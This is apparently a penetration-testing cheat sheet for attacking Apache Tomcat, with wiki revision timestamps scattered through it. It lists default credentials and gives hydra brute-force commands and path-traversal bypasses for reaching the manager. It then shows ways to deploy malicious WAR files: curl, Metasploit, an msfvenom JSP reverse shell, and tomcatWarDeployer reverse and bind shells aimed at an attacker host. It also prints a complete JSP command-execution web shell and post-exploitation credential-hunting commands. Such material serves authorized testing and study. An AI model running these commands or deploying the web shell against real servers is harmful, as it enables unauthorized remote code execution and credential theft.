2020-07-15 15:43:14 +00:00
# Tomcat
It usually runs on **port 8080**
## Avoid to run with root
2021-09-12 10:36:22 +00:00
In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.
2020-07-15 15:43:14 +00:00
## Username Enum
In some versions prior to Tomcat6 you could enumerate users:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
## Default credentials
2021-12-23 18:13:55 +00:00
The most interesting path of Tomcat is _**/manager/html**_ , inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
2020-07-15 15:43:14 +00:00
* admin:admin
* tomcat:tomcat
2021-12-23 18:13:55 +00:00
* admin:\<NOTHING>
2020-07-15 15:43:14 +00:00
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
You could test these and more using:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
2021-08-29 14:16:38 +00:00
Another **interesting Tomcat** path is _**/manager/status**_ , where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_
2020-07-15 15:43:14 +00:00
### Bruteforce
This could be needed.
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Vulns
2022-01-16 17:15:05 +00:00
### Password backtrace disclosure
Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace** .
2021-03-24 12:52:26 +00:00
### Double URL encode
2021-09-12 10:36:22 +00:00
A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
2020-07-15 15:43:14 +00:00
In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_
2021-12-23 18:13:55 +00:00
Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\
2021-09-10 08:33:24 +00:00
To access to backdoor you might also need to use the double urlencode trick.
2020-07-15 15:43:14 +00:00
2021-03-24 12:52:26 +00:00
### /examples
2021-12-23 18:13:55 +00:00
The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here ](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/ )).
2021-03-24 12:52:26 +00:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
2021-12-23 18:13:55 +00:00
### Path Traversal (..;/)
In some **vulnerable versions of Tomcat** you can access to protected directories in Tomcat using the path: `/..;/`
So, for example, you might be able to **access the Tomcat manager** page accessing: `www.vulnerable.com/lalala/..;/manager/html`
**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
2020-07-15 15:43:14 +00:00
## RCE
2021-12-23 18:13:55 +00:00
Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)** .
2020-07-15 15:43:14 +00:00
### Limitations
2021-12-23 18:13:55 +00:00
You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin** , **manager** and **manager-script** ). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post )section).
2020-07-15 15:43:14 +00:00
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
2020-07-15 15:43:14 +00:00
# undeploy
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
2020-07-15 15:43:14 +00:00
```
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost < IP >
msf exploit(multi/http/tomcat_mgr_upload) > set rport < port >
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername < username >
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword < password >
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
2021-12-23 18:13:55 +00:00
Then, upload the revshell.war file and access to it (_/revshell/_)
2020-07-15 15:43:14 +00:00
### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
2021-12-23 18:13:55 +00:00
In some scenarios this doesn't work (for example old versions of sun)
2020-07-15 15:43:14 +00:00
#### Download
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Reverse shell
```bash
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U < username > -P < password > -H < ATTACKER_IP > -p < ATTACKER_PORT > < VICTIM_IP > :< VICTIM_PORT > /manager/html/
2020-07-15 15:43:14 +00:00
```
#### Bind shell
```bash
./tomcatWarDeployer.py -U < username > -P < password > -p < bind_port > < victim_IP > :< victim_PORT > /manager/html/
```
### Using [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manual method - Web shell
Create **index.jsp** with this content:
```java
< FORM METHOD = GET ACTION = 'index.jsp' >
< INPUT name = 'cmd' type = text >
< INPUT type = submit value = 'Run' >
< / FORM >
< %@ page import="java.io.*" %>
< %
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"< / br > "; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
< pre > < %=output %>< / pre >
```
```bash
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created
```
2021-12-23 18:13:55 +00:00
You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html ](http://vonloesch.de/filebrowser.html )
2020-07-15 15:43:14 +00:00
## POST
2021-09-12 10:36:22 +00:00
Name of Tomcat credentials file is _tomcat-users.xml_
2020-07-15 15:43:14 +00:00
```bash
find / -name tomcat-users.xml 2>/dev/null
```
2021-09-10 08:33:24 +00:00
Other ways to gather Tomcat credentials:
2020-07-15 15:43:14 +00:00
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```